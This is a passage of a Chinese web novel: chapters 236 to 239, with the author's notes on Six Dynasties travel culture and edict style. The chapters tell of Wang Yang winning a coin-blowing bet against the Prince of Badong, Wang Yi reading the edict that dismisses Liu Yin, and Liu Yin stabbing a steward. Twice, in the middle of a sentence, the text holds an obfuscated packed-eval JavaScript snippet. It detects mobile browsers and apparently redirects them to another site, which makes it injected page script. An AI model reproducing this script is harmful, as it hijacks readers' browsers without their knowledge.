巴东王脸色一沉:“王扬,莫非你要抗命?” 王扬起身,向巴东王一揖: “王扬怎会抗王爷的命?且不说我为南郡郡学学子,正属王爷治下,单说王爷对我有知遇之恩,我也断不会不识好歹。更何况这次选我出使,乃是由王爷看重,我若一味推避,岂不是辜负了王爷一番苦心......” 巴东王表情舒缓开来: “本王就知道,你是个明白人。你放心,等你功成回来之日,本王必定重赏!并刻碑纪功,让荆州人都知晓你的功绩!” 王揖羽扇一挥,叫了声好: “好啊!琅琊王氏子扬,少而岐嶷,明敏有断。文华炳蔚,通经达变。才思耀于庠序,学名动于荆楚!会蛮貊不宾,劫我士人!朝廷命散骑侍郎王揖持节晓谕,而扬以白衣参赞。未及弱冠,衔命远涉。扬敷圣化,示以威德!妙哉妙哉!这个碑文我来写!” 巴东王朗笑: “散骑果然不凡,眨眼之间连碑文都做好了!王扬,这回你可算出尽风头了!等你起家之日,这南中郎板行参军的位置,舍你其谁啊?” 王揖惊道:“王爷竟对舍侄如此厚爱?!起家就是板行参军?” “小小板行参军,何足限你王家千里驹?只盼散骑到时不要跟本王抢才好啊!” “那......可说不准啊!” “啊哈哈哈哈哈......” 两人相视大笑,各有嗨点。 王扬心中:(→_→) “王爷厚恩,叔父抬爱,扬虽愚钝,亦知此乃殊遇。既蒙重任,扬自当努力,以报王与叔之照拂青睐。只是扬现在有一个难处,若不得解,纵扬有心出使建功,只怕也难以成行。” 以巴东王和王扬打交道的经验,他现在几乎可以肯定这小子现在提出的所谓“难处”,绝对是没憋什么好屁,正想该如何应对时,王揖已经问道: “贤侄有什么难处,尽管说出来嘛!就算你族叔我解决不了,王爷还能解决不了?” 巴东王:...... “噢!那我就说了!是这样,我已经答应和人合伙做生意,前期准备,无论心力财力,都耗费颇多,十天后就要正式开始了,如果违约,要赔十万钱。关键人家事先说明,必须由我亲自出面运筹,方能放心。可我若出使,离开江陵,这就算违约了!为报王爷和叔父的抬爱,前期那些准备打了水漂,我甘愿认下!只是要赔偿的十万钱,我一时间还......” 王扬语气为难,看向王揖。 王揖道: “随行出使本非贤侄分内事,没有再让你损失的道理。这十万钱理应族叔替你出!只是族叔这次出使,带的都是公帑,没有私产......这样,族叔这就回去写公函报给尚书台,台里若核准,那就好办了。若是不准......” 王揖一脸凛然道:“那族叔再帮你想办法!” 王扬马上道:“多谢族叔!不过等台里消息会不会耽误出使?” 王揖表情忧虑:“是啊,最好能有人先垫付一下。” 王扬神色纠结:“是啊,只是不知谁肯慷慨解囊。” 两人一起看向巴东王。 巴东王:#¥@*&&*@#%*……&%@ 巴东王盯向王扬: “契约呢?违约要赔十万钱的契约拿出来,本王看看。” 王扬坦然对视:“没下契,口头约定。” 巴东王一笑:“口头约定不作数的。” 王扬正色:“人无信不立。” 巴东王眼一眯:“保人呢?” 王扬头一扬:“季布无二诺。” 巴东王一下就坐直了: “合着你啥都没有,一张嘴就是一桩生意,你以为吹气儿啊!” 王扬目露怆然,如蒙冤负屈: “王爷之前说我回来之后必定重赏,又说要刻碑纪功,我可是深信不疑的!我信王爷,难道王爷不信我吗?” 巴东王一噎。王扬都要**,他可没打算重赏,刻碑倒是真的,不过不是纪功碑,而是墓碑。 其实现在王扬摆明是要捞点好处,所谓赔偿十万钱不过是个由头,变相要出使的酬劳罢了。可巴东王就是不甘心! 凭啥你王扬一毛不拔,总来薅本王的**?!难道本王天生就得被你坑钱? 十万钱不算什么,更何况王扬是将死之人,也犯不着计较这十万八万的,出点钱打发了,省得麻烦——但这口气,必须争回来! 毕竟,这可能是他最后一次赢王扬的机会了。 “你和谁做生意?”巴东王快速发问。 “谢四娘子。”王扬迅速回答。 巴东王越问越快:“做的什么生意?” 王扬答得也快:“烤鸭店。” “哈!”巴东王神情大悦,好像发现什么破绽一般,一指王扬:“我立马派人去问,看对不对得上!” 王扬眨眨眼:“烤鸭店只是其中一个选——” 巴东王一瞪眼:“王扬!你还真以为是吹气儿呢!就算是吹气儿!你吹出去容易,想吹回来可就难了!” 王扬一笑:“那可不一定......” 巴东王一听这话顿时来劲了! “好!你要这么说,那咱俩就打个赌!” 他手一伸:“那个谁,给我个小钱儿!” 侍从赶紧上前,从袖中取出一枚铜钱放到巴东王掌中。 巴东王把铜钱往案几上一拍,然后对着铜钱,呼的一下吹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297433|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铜钱被吹得翻了起来,滴溜溜地向外滚,待滚到案几边缘时,巴东王一巴掌扣住铜钱,随即挪开手掌,看向王扬,目光挑衅: “你就坐在本王这个位置上吹,你要是能把这钱吹回来,你欠的十万我给! 但你要是吹不回来,你倒欠我十万! 咱们事先说好,不能换位置!也不能把头伸过去!更不能换方向吹! 你不是说不一定吗?那你来吹吧!” 王扬看着铜钱,没有说话。 王揖抚掌笑道: “这个赌约有意思!庄子曰:‘言非吹也’。以吹钱赌万钱,颇有玄意啊!我来当见证人!” “十万钱!”巴东王立马纠正道,“是十万钱!王散骑当见证人最好,他如果耍赖不给钱,那王散骑这个做叔叔的就得出。” 王揖马上说:“那我还是不当这个见证人了。” 巴东王白了王揖一眼: “你放心,这小子有钱!没钱卖宅子也得还!” 说完看向王扬,面色甚为得意: “来吹啊!你不是很能吹吗?不是说‘那可不一定’吗?本王可没欺负你,用的是小钱。你吹吧!吹回来本王就认输!” 王扬道:“王爷,我可要现钱,不能赖账!” 巴东王呵呵: “赌了那么多次,本王什么时候赖过账?你要真能把钱吹回来,本王马上派人往你家送钱!”他说完又想到什么,急忙补充道:“吸气可不算啊!要吹气吹回来!” 王扬起身,走向巴东王。 巴东王脸色顿时一变,这小子不会真有什么办法吧? 王扬看着巴东王笑道:“王爷,要不这场赌局就算了?” 巴东王立即猜到王扬在虚张声势:“别算!你吹!只要你吹回来,本王给钱!” 王扬微笑:“那加注,赌二十万?” 巴东王心中有些打鼓。 王揖劝道:“王爷,还是算了吧,没必要赌这么大。” 不可能不可能!吹气怎么可能吹回来? 他在唬本王! 想吓退本王?真当本王是吓大的?! 巴东王虎目圆睁,如起电光,脸上因激动而泛起潮红,仿佛被点燃的火苗,啪地一拍桌案: “二十万太少!要赌就赌三十万!谁也不许反悔!” 王扬往日里和巴东王打赌,尺度向来拿捏得当,赌注既不会定得过重,也绝不让巴东王太过难堪,分寸感可谓把握得恰到好处,所以即便赢了,也从未惹得巴东王心中生厌。可他今天彷佛突然间没了深浅、失了周全一般,继续笑嘻嘻道: “那四十万?” 巴东王脸上肌肉一抖,坐不住了,直接站起来,把位置留给王扬,色厉内荏道: “少废话!说好了三十万就三十万!马上吹!吹不回来,本王立刻派人到你家取钱!” 王扬悠悠然入座, 手掌在铜钱后面一立,然后俯下身,向掌心猛地一吹! 唰! 铜钱瞬间滑回! 向手吹气时,气流会对手施加了一个作用力,此时手会对气流产生一个大小相等、方向相反的反作用力。是为牛顿第三定律。 你能赢牛顿第三定律吗? 王扬看向巴东王。 ...... 操...... 还真能吹回来啊...... 巴东王目瞪口呆...... 第236章 赐婚 巴东王闷闷不乐。 自从他派人往王扬家送了三十万钱之后,便一直阴着脸不说话。王揖又闲扯了几句,见巴东王神色烦闷,便知趣地起身告辞: “我还要去长史府传旨,就不叨扰了王爷了。待出使出来,正好赶上王爷大喜,到时定要讨杯喜酒喝。” 巴东王神色稍缓: “那是自然,只盼散骑不要误了归程。” “不会不会!我最喜欢热闹了!就是拼了老命,也会按时赶回来,沾沾王爷的喜气!” 巴东王一笑。 王扬好奇道:“王爷要纳妃了?” 巴东王心不在焉地敷衍说:“是啊。”随即一顿,看向王扬,眼中重新有了精神: “谢令家的那个四丫头,你见过的。” 王扬瞬间失去表情管理,石化在原地! “噗哈哈哈哈哈哈!” 巴东王指着王扬,捧腹大笑。 王扬立即明白了巴东王在逗他,其实以王扬的心智,不待巴东王发笑,只要让他再想一下,立时便能分出真假。可巴东王说得太突然,让他大脑直接宕机,等到重启时,已经出了一身的汗。 巴东王像打了个大胜仗似的,眉梢高高扬起,一脸嘚瑟地看着王扬,得意劲儿从眼底直往外冒,压都压不住。 王揖笑道:“别听王爷说笑,哪里是谢家女,而是咱们王家女。是乌衣房一脉王薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308037|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采的女儿,和你是同辈。” 王扬笑容满面地向巴东王一拱手: “那我就提前向王爷贺喜了!正好今天蒙王爷慷慨解囊,我手中宽裕,这贺礼得好好置办一下!” 巴东王嘴角抽了抽,随即释然一笑: “贺礼什么的就不用了,你人能到,本王就很高兴了。” 王扬笑道: “人礼都会到,王爷的喜酒我怎么能错过呢?” 巴东王心情突然变得有些晦暗,他把目光从王扬的脸上移开,也没有再接王扬的话,转而看向王揖,岔开话题问: “刘寅什么处置?” 王揖道:“免去一切官职,补水曹参军(水利 第237章 两只老虎 “......盖文章经国之大业,不朽之盛事。然盛事不朽者,岂唯文章哉?右军公早就说过,‘登汶岭峨眉而旋,实不朽之盛事’!登临游目,振衣骋怀,此丈夫之壮举,不逊色于文章也......” “族叔——” “族叔知道,你们做学问的,自然对文章之事看得极重。不过文章之重,重在载道。可族叔以为,载道者非独文章,山水亦有之。峰峦峙岳,以立乾坤之骨;江海浮天,以运造化之枢,此乃天地所书之文,虽无笔砚之具,然可载道于不言,于大化,所以说‘山水以形媚道’......” “族叔,我其实——” “族叔明白,你其实认为山水中虽然有道,但求道未必到山水中去。你这个见解好!以前宗炳说:‘老疾俱至,名山恐难徧睹,惟当澄怀观道,卧以游之’。这卧游好就好在不烦车马之劳,不拘尘世之羁,使人于斗室之内,可以观天地之大!形体虽困于方寸之间,而心神已驰万里之外......” “族叔,我其实是想——” “族叔晓得,你其实是想卧游虽佳,但亦有所囿,所囿者不系于足,实系乎心。若夫心识疏盲,虽对书想名山,亦犹瞽者之扪象;意趣枯乏,纵临画幻烟霞,亦如聋者之听音......” 王揖自从上车和王扬独处之后,就开启了玄谈模式,主打一个自说自话,完全没有和王扬交流的意思。王扬几次试图插话,都被王揖打断,话锋一转,又开启了新的长篇大论。 “......是故孙兴公作《游天台山赋》,未尝履其地而神游已周。谢灵运吟《登池上楼》,虽困病榻而胸怀自旷。此乃心中先有丘壑,笔下自生云烟......” “王大人!”王扬突然叫道。 王揖一愣,随即不悦道:“叫叔!” 王扬:...... “叔,我其实是想和您聊聊。” 王揖疑惑说:“不是一直在聊吗?” 王扬:...... 他看着王揖的眼睛,缓缓道: “我说的聊是......真聊。” 王揖神色更加疑惑:“我们也没聊假的啊!” 王扬无语道:“王大人——” 王揖皱眉:“叫叔!” “这个‘叔’,我叫得有点儿心慌啊!” “都是自家人,你心慌啥?” 王扬与王揖对视片刻,笑了笑,问: “叔,你真见过我吗?” 王揖眼神费解: “傻孩子,又说胡话了,刚才在王府不是聊得好好儿的吗?叔要没见过你,能知道你小时候长啥样儿?” 要不是王府里我不管说啥,你都无比丝滑地接了,我特么差点信了!!! “叔,说实话,我对您的印象,不是很清晰......” “正常,小时候的事,谁能记得清晰?” “但我这人吧,打小就聪明。” “你那是小聪明,大音希声,大象无形,大聪明都不记事的。” 王扬意味深长地说: “那族叔肯定是大聪明。” 王揖叹道: “族叔不聪明,族叔记性也好,你看你小时候的长相,族叔还记得那么清楚。” 好好好,你继续演。 “那族叔之前在王爷面前说的,都是真话?” “那当然,这还能说假!” “那族叔记得上个月您给侄儿寄的信吧?” 王揖表情自然:“记得啊。” 王扬喜道:“那族叔认为可以吗?” 王揖:??? 王揖刚要说话,又及时闭上嘴,摇了摇羽扇道: “族叔认为不可以。” 王扬突然下拜:“多谢族叔成全!” 王揖赶紧扶住王扬:“贤侄啊,族叔说的是‘不可以’。” 王扬双眼放光:“是啊,族叔信上不是说,如果不可以的话,就给侄儿几百万钱,让侄儿买座庄园,安身立命......” 王揖忙道:“贤侄啊,族叔想了一下,还是认为可以。” “多谢族叔成全!” 王揖瞪大眼睛:“怎么又谢?!” “族叔信上不是说,可以的话就直接送侄儿一座庄园,省得花钱买了。叔,地契带了吗?” 王揖羽扇一抖,想了想道: “贤侄啊,你两个月前给族叔写的信......” 王扬马上道:“叔,那你三个月前......” “得得得得!别再往前说了。”王揖露出投降一般的表情,羽扇连点,“照这么说下去,咱们就是说到十年前,也说不清楚啊!” “是啊族叔!所以咱们就挑能说清的,说说呗。” “关键这事儿它说不清!” “说不清?那咱就接着说庄园......” 王揖赶紧道:“贤侄啊,容叔跟你说几句掏心窝子的话。” 王扬言笑晏晏:“叔你说,侄儿听着!” “你说叔来荆州干嘛来了?” “玩?” “出使!” “哦,出使。” “叔既然来出使,完事就回去了。那出使之外的一切,就都和族叔没关系了。族叔给你打个比方,比方说,现在有个人,冒充咱们琅琊王氏。族叔先问你,你要是发现了这么个人,你咋办?” 王扬乖巧道:“我听族叔的,族叔说咋办,就咋办!” 王揖一挥羽扇:“族叔不办。” “不办?” “不办!你想啊,族叔如果要把这个人指出来,得查吧,得举证吧,得再三确认吧?要是人家是琅琊王氏,族叔弄错了,那就是打了族叔自己的脸。要是他不是琅琊王氏,那就是打了巴东王和荆州众士族学子的脸。 还有,这琅琊王氏可不是一般人能冒充得了的。就比方说让你冒充,你能冒充得了吗?” 王揖盯着王扬。 王扬一脸为难道:“这怎么冒充......” 王揖羽扇一拍大腿: “是啊!这根本没法冒充!但如果有人能冒充,这背后总有玄妙不解的地方吧?吾生有涯而知无涯,对于不解的事,族叔一惯是保持敬畏心的。就算不说敬畏心,也不说打脸的事,就说族叔把这个人揪出来了!咋的,朝廷能给族叔嘉奖?还是说族里能给族叔送点产业以示感谢?” 王揖摇扇,悠悠道: “《列子》中说‘察见渊鱼者不祥,智料隐匿者有殃’,《孔子家语》中说‘无多事,多事多患’,叔只管自己这摊事儿,其余的都不关心。侄儿你也跟叔学,旁的不要理,只管陪叔好好玩就是了。” 王扬顿时一脸轻松: “叔高见啊!叔要是这么说,那侄儿肯定陪叔好好玩!一定得玩好!” 王揖笑道:“那当然,要玩就得玩好,不然不如不玩。” “那族叔我就先下车了,明日再陪族叔玩好。” “诶?刘寅不是得罪过你吗?不跟族叔去宣旨,出出气?” 王扬摇头笑道:“不去了。” 王揖好奇问:“为什么?” “人生几件俗事,扬不与焉。” 王揖很感兴趣:“哪些俗事,说说看。” “腰有十文,必振衣作响; 若遇升迁,唯恐人不知; 见人微过,沾沾自喜而指示; 旧敌落魄,专程赶赴以嘲弄。” 王揖眉开抚掌:“贤侄真是个妙人呀!” 王扬眼笑拱手:“族叔也是妙不可言啊!” 两人相视大笑。 “对了,今晚戌时,我在香雪楼设宴,请你和仲通。荆州城就咱们三个琅琊王氏,不得好好聚聚?” “好啊!族叔盛情相邀,那小侄就却之不恭了。” 两人欢然相别。 王扬下车后,望着王揖牛车的背影,笑容一点点消失。 一个青衫女郎从街角牵马走出,观察了一下四周,走到王扬身边,轻声道: “公子。” “小珊!你怎么在这儿?” “我......” 陈青珊实在担心王扬,在王扬跟王府侍卫走后,坐立不安,便到王府外面等。等到王扬出了王府,上了王揖的车,陈青珊不知道情况,不敢贸然上前,便一路跟随至此。 陈青珊没有解释,而是问道: “你没事吧?” “没事啊。” 陈青珊神色凝重:“你脸色不好。” 王扬一怔,失笑道:“你看出来了......” “到底出了什么事?” 王扬喃喃道:“两只老虎,一只没有眼睛,一只没有耳朵,真奇怪......” 陈青珊:??? “走,陪我去个地方。” “去哪?” “临江货栈。” —————— 注:《诗经》云驾言出游,以写我忧。”《楚辞》曰“悲时俗之迫阨兮,愿轻举而远游”。自有山水,便有冶游。但真正脱离于行旅、以欣赏风光为主要目的、由少数行为到普遍出现的现代意义上的“旅游”,其实开始于魏晋南北朝时期。像地志、地记这种地理类的著作(比如《水经注》)也是从这个时段开始大量涌现的。 故而《文心雕龙》中说“宋初文咏,体有因革,庄老告退,而山水方滋。”宋指的就是刘宋,意思是从刘宋初年开始,写老子庄子的玄言诗渐衰,而山水诗渐渐兴起。中|国是诗的国度,诗艺源远流长。但直到南北朝时期,才出现“山水诗”这个门类(包括‘山水’一词入诗,也是到了这个时期才普遍出现的,ps,‘旅游’一词也起于这个时段),而山水画也是起于晋宋之间。 山水的“被发现”是一个既向外又向内的过程,向外很好理解,用宗白华的说法,叫“向外发现了自然”(《美学散步》)向内则是一种美学和文学意义上的双重自觉,或者说是“人的自觉”(李泽厚语,见《美的历程》。) 所以魏南北朝时期是一个“自觉”的时代。 而王揖这种旅行爱好者,还有本章开篇中他的那番“山水论”,就是在这种时代背景下产生的,带有那个时代的鲜明印记。当然,王揖的山水论是我按照当时士大夫的精神向度与思想旨趣写的,几个重要的点比如“卧游”、“澄怀观道”、“山水以形媚道”等等,都是当时文化圈中流行的思考方式与价值面向。 第238章 将暗 鸦啼影乱,暮天将暗。 偌大的荆州长史府内,只有刘寅一家五口外加几个奴婢,跪在中庭。台传御史张斌(朝廷派驻各郡督查钱谷的事务官,类于财政|部监管|局)带几队衙兵鱼贯而入,分列肃立。 沉沉暮色压下来,将众人的影子拖长,刘寅的额头抵在冰冷的地面上,隐约听到身后家人强行压抑的啜泣声。 十二名台使仗身(钦差侍卫)身穿郁林白衣,腰间跨百炼钢刀,一字排开,身形如松;王揖站于阶上,手持黄麻诏书,冷漠的声音在这窒息的长史府中回荡开来: “门下: 夫《春秋》诛意,礼所必惩;《月令》饬法,时无或纵。 荆州长史兼南郡太守刘寅,本卑门寒士,素乏操誉。 承时侥幸,遽秉要权。以斗筲之器,叨方州之任。 不思报效,反行苛酷。妄兴刑狱,滥逮士流。 凌轹经术之彦,三木横施;摧折清贯之望,五听俱废。 致使庠序辍诵,谤议腾于道路;仓廪废弛,怨嗟遍于闾阎。 岂非专擅福威,凌上虐下之验乎? 着即削其一应职守,黜留本州,补水曹参军之任。 主者告下,时速施行。 永明八年七月辛丑(发诏日期),散骑侍郎具官封臣王揖,宣。” 诏书末尾还有中书、门下两省负责草拟、审署和下达的几名官员的署押及例行书式如“奉被。诏书如右。”“谨重申闻,请可付外施行。”以及天子御画(画字)等。只是在宣读诏敕时,这些书式是不念的。 刘寅叩首及地,一字一顿: “臣,刘寅,谨奉诏。” 王揖将诏书交身边仗身,仗身走到刘寅面前,刘寅再拜叩首,双手接诏,高于头顶。王揖神色轻松了许多,活动了一下筋骨,向张斌道: “缴印封库这些事儿,就交给你了。” 张斌忙躬身说:“大人放心,下官办完,即刻回报大人。” 王揖手一背:“走喽。” “下官送大人。” 至此,刘寅的妻子儿女再也忍不住了,都放声大哭。刘寅则面无表情。 “对了。”王揖停住脚步,看向刘寅: “刘参军,我这次乘船来荆,发现你们这儿航道有点浅,尤其江津渡,泊船都不好泊,听说是上游泥沙越来越多,导致淤积,近期又有河岸坍塌,盗伐岸柳的事儿,你现在做了水曹参军,这就是你分内的事了。” 刘寅双袖一合,木然而拜:“卑职领命。” ...... 残阳暮鼓沉檐坠,卖花声碎,市声如沸。 王扬双手抱臂,穿行在嘈杂的长街上。陈青珊默默跟在身后。 王扬的脚步很慢,却又极稳,像一叶孤舟缓缓划过潮来潮去的海,潮水在他身前分开,又在他身后合拢。小贩的油锅声、孩童的嬉笑声、酒家的叫卖声、磨镜匠的吆喝声......各种声音从他身侧滑过,声声皆过耳,片声不沾身。 临江货栈的货已经被提走了,这个在意料之中,巴东王之前和他打过招呼,说过几天会运货,只是没想到这么快。 他离开货栈后,第二个去的地方是如意楼。结果如意楼正在装修,密道也被堵死,一问才知换了掌柜。萧宝月之前说他做掉色袄这件事之后便算两清,以后她不会再提任何要求,王扬也不用再来她的院子。 王扬当时不太信这句话,现在看来,萧宝月说的很可能是真的。而换一个说法就是,萧宝月已经过了河,不再需要桥了。这个桥她或许暂时不好动手拆。但要拆一座桥,未必要自己动手...... 王揖说的那番话有一定迷惑性,很容易降低人的防备。如果王揖心口如一,那对于王扬来说,算是比较顺的情形了。可逆境中需乐观,顺境时当警惕。王揖的话虽顺心,但有一个关键漏洞,就当事不关己的时候,自然可以高高挂起,但在这件事上,王揖是以身入局,相当于在巴东王面前,为王扬的身份打了包票。 他这个包票和谢星涵于王宴上说在义兴郡见过王扬可不一样。谢星涵不是王家人,见过一面,不知底线很正常。但王揖是言之凿凿说见过他,不管王扬说什么他都一概照接,毫无躲闪。 王揖这么做,图利也好,不得已也罢,亦或是其他什么原因,总之一定有足够的理由才能让他去担这个风险。又或许他还觉得,即使他这么做了,也不会出什么问题,不管是巴东王,还是王扬,都不会出问题...... 王扬凝神思索,不自觉地放下手臂,手中突然多了一个东西。 抬起手一看,原本深邃的目光顿时凝滞了一瞬。 是一块芝麻糖。 “很甜的。”陈青珊不知道什么时候站到了王扬身边,拿着个荷叶包,表情无比认真地“推荐”道。 王扬将芝麻糖放入口中,一笑:“确实很甜。” 陈青珊见王扬笑了,凤眸闪过一丝欣喜,继续从荷包拿糖给王扬吃,王扬道:“一块就够了,我今晚吃大餐,吃这么多糖干嘛?” “大餐?就是那个鸿门宴?” 王扬笑道:“对,就是那个鸿门宴,不过......鸿门宴也能吃好。” 陈青珊想了想问:“是现在去吗?” “现在太早,先去一个地方。” ...... “诶?你不是去南平郡了吗?”柳惔见到王扬,颇觉惊异。 王扬很自然地说:“没走上,我叔父来了。” 柳惔大喜,一把握住王扬手臂,激动道: “太好了!带我去见令叔父!”随即觉得自己的语气有点失礼,又加了一句:“可以吗?” 王扬突然问:“你信我,还是信我叔父?” 柳惔一愣:“你这是什么意思?” 王扬看着柳惔的眼睛: “我可以救出柳憕,但前提是,你只信我一个人。” 柳惔看着王扬严肃的表情,神色惊疑不定,抓着王扬胳膊的手,一点点松开....... ...... 暗夜昏灯,小院仄巷。 两个小奴在打扫院落,几个穿着粗麻衣的苦力汉子,正往院里搬家具。 院中站着四个身材高大的男子,衣服光鲜,腰间皆佩短刀,紧盯房门,眼神很是锐利。 门后,一个穿着长相都很富态的男人,正打量着房中陈设,微微皱眉: “这儿也太简陋了点,这样,先委屈你暂时住一夜,等明天我给你寻个好宅子。” 刘寅倒好茶,把茶盏一推: “翟管事请。” “哦,多谢多谢。” 翟管事看了眼茶盏,并没有喝。 “你这件事王爷批了四个字——‘非战之罪’。王爷说了,你虽然有过,但主要责任不在你。荆州这摊事确实难办,换谁来都不轻松。” 刘寅叹道:“王爷体恤,刘寅惭愧。” 翟管事话风一转: “只是这个案子太大,王爷也没法保你。官复原职是不可能了。但也不会一直让你在这儿做参军。你先做到年底,放心,我已经和治中从事(省|秘书|长,省|办公|厅一把手)殷昙粲打好招呼了,大的事情不会有。等风声过了,会找机会给你调到江州去,做刑狱参军(司法|局局|长)然后看你自己的了。只要连续三年考绩是上等,就可以名正言顺地调你回京。刑狱是你本行,应该不难吧?” 刘寅郑重一拱手: “我必尽全力,不负王爷恩典。” “好,你的话我会带给王爷。不过你新失势,虽然有殷昙粲周旋,但麻烦不会少,这段时间你最好不要再惹人眼。王爷的意思是,你先把账目过给我,由我代管,等确定安全了,再交还给你。” “现在吗?” “当然,早点交接,对你其实是件好事。你放心,这些生意都是你经营的,功劳苦劳王爷都看在眼里。我只是代管。在这件事上,王爷更信任的还是你。再说我还有王府的差事,也不会在荆州久留。等到你彻底过了关,我就完璧归赵。” 刘寅皱眉道: “翟管事这话错了,生意是王爷的,我和你一样是代管,怎么谈得上‘完璧归赵’呢?我本戴罪之身,王爷不责罚,已是莫大的恩赏,还有什么颜面再管账目?” 翟管事笑道: “是我说错了。不过你也不要这么说,王爷对你的才能,还是看重的。荆、江两州是王爷的钱袋子,换我来要是进账少了,少得还要挨骂,说实话,要不是王爷下令,这活儿我还真不想接。但愿你能尽早站稳脚,我赶紧卸下这担子,回京交差。” “那就辛苦翟管事了,我去拿账册。” “有劳。” 刘寅去了内室,没一会儿抱着一只木匣出来,放到翟管事面前: “都在这儿里。” 翟管事打开木匣,取出账册,疑惑道:“怎么这么少......” 油灯乍灭。 刘寅一把捂住翟管事的嘴,匕首猛捅左胸! 灯灭的同时,院外一个小奴打翻了泔水桶,馊水溅到了四个佩刀男子的衣裤。在他们咒骂低头的瞬间,院内正在搬家具的苦力们突然健步如飞,从四人背后一拥而上,匕首乱捅! 屋外一片猩红温热,地面黏腻成泥。 屋内翟管事的口鼻被一只苍白的手掌死死封住,只能发出含混不清的闷哼声,鲜血顺着匕首刃汩汩涌出,很快打湿了他胸前的衣襟。 刘寅额头浸汗,一下一下地用力捅着,同时在翟管事耳边说道: “给,王爷,托梦,我刘寅的命,不好取!” —————— 注:西晋时沿前例,诏令起草后便下尚书,至东晋时改为先由门下省审署。其实一般史料文献很少保存诏文的完整格式(包括正文内容也常有缩略)《文馆词林》里的稍稍完整一些,而《文馆词林》中的所有南朝诏书都是以“门下”为题头的,而非两汉时期的“制诏”。《隋书·百官志》载陈朝发诏程序:“作诏章草奏闻,敕可,黄纸写出门下。门下答诏,请付外施行。”所以诏书开头是门下。 当然,还有一种“中诏”的形式,是不经门下省的,以后会写到。 Ps受近代西洋文学观的影响,谈到文学首先想到诗歌、戏剧、小说,似乎它们比其他门类更像“文学”(其实是更像近代英语世界中的Literature)。这种视角延伸至关于诏令文体的文学研究中,导致两个问题。一是忽视诏令的文学性,造成严重的刻板印象,比如.....算了,例子太多又得罪人,不举了。 二是对诏令的研究限于什么比喻,什么壮阔,什么雄奇这种印象式的把握,停留在表面风格的层面,缺少问题意识与方法自觉,这就让研究沦为阅读欣赏类的“浮词”或者如教科书般“有结论、无思考”的文字。 其实重回六朝的历史语境中,诏令乃当之无愧的第一流文字。草诏者亦必臻一时之选,以第一流之文人作第一流之文字,岂非文学之盛事?(王融现在是中书侍郎,也是负责草诏的臣子之一)故中古文学极重之,《文心雕龙》、《文选》皆辟其门,《颜氏家训》“文章篇”、《文笔式》亦列其目。余嘉锡考《隋书经籍志》晋朝之诏令所著录凡十七部,三百六十六卷,“较唐大诏令多至三倍”,诏令于当时亦入集部,至《新唐书·艺文志》始转入史部,然犹未为定准。 《论衡》言“以文书御天下”,南朝则是“以诏令御天下”。这里并非指天子如何借助诏书对臣下发出命令,而是当面对半壁江山的正统危机时,在诏令文辞中维系住了王朝尊严与帝王法统。这是一个被文字所创造的世界,在指涉敌人的同时,也重新定义着自身,此种现实与理想的巨大沟通对于四到六世纪的草诏者来说是一个很大的考验,他们必须用高超文学技艺在艺术规范与政治意图中寻找平衡,在威严与美辞间建立了稳定的联系,通过对语言元素做最大限度的运转安排,择取恰如其分的叙事策略,准确完成并不单一(很多情况下是复杂的)的表达意图,再现,或者说重塑一种事实。 这是具体可查的“文章经国”的案例。 文学研究者当具区别于史学研究者的独特技艺,主要着眼点不应在“写什么”,而应在“怎么写”。文学研究者当进行“重返现场式”的阅读,不仅要把自己想象成一个中古中国的读者,同时还要以作者的身份去思考下笔的其他可能性,从而判断草诏者为什么“这样写”而不是“那样写”。曾国藩言诏文“宜吞吐”(《曾国藩日记》),岑仲勉谓骈体制诏“易得含糊”(《隋唐史》),文学研究者的任务是把这些“吞吐”和“含糊”说得清楚些。 什么繁缛、抒情、骈散、比拟这些文学要素简单罗列组成的有知识、无思想的介绍性论述实在益处不大。至于外围研究当然不会过时,但此是史家故物,非文学研究者所应专擅;文献研究依然重要,但在诏令领域,很难成为未来发展之希望所在。而更有可能“盘活全局”的研究范式是——以细读的方式,基于鲜明的问题导向,寻绎权力话语的文学表达与运作机制,探求诏令书写的实践策略与深层结构。 在这其中,文本措辞应该作为诏令研究范式中的学术定量,而对文本措辞的细读则是研究此定量的唯一有效手段。 好久没写长注了,因为没时间,今天正好多写点,再次重申,我加注都是改好每章正文之后才加的,所以有没有注对当章的正文长短都没影响。下两周会忙成狗,不过会尽力保持更新!亚古兽进化!! 第239章 王见王见王 夜如墨,楼如璨。烛火荧煌,映照雕栏畔。 香雪楼三楼左廊一排的房间今夜皆悬朱牌,上书“谢客”二字。唯有最里间的那扇雕花门内华灯通明,亮光透过几层珠帘帷帐,在廊厅的墙壁中折出橘明色的光影,倒衬得门扉上的鎏金暗纹愈发鲜亮。 廊下一共七人。王泰的四名护卫站得笔直,神情机警;王揖只带了两名家仆,周身没有明显兵器,但气质渊渟岳峙,很有高手风范。最后一人是陈青珊,抱剑倚在门旁,神色清冷,身边放着一张齐腰高的立柜,柜上置小案,案上摆着精致小食和冰鲜水果。 陈青珊高冷一会儿后就用竹签扎剥好壳的荔枝肉吃,然后又高冷一会儿,再来一块金乳酥,如此循环,吃得津津有味,看着四卫两仆怨念甚重..... 房间内,气氛微妙。 三王各有所私,各有所惑,各有所求,又各有所忌。似乎都想以静制动,一时间谁也不开口说话。 王揖放下筷子,准备开场。 王扬率先举杯道: “两位族父——” 王揖手掌一切: “诶?等等!怎么两位族叔?这辈分不对呀......” 王泰啧啧摇头: 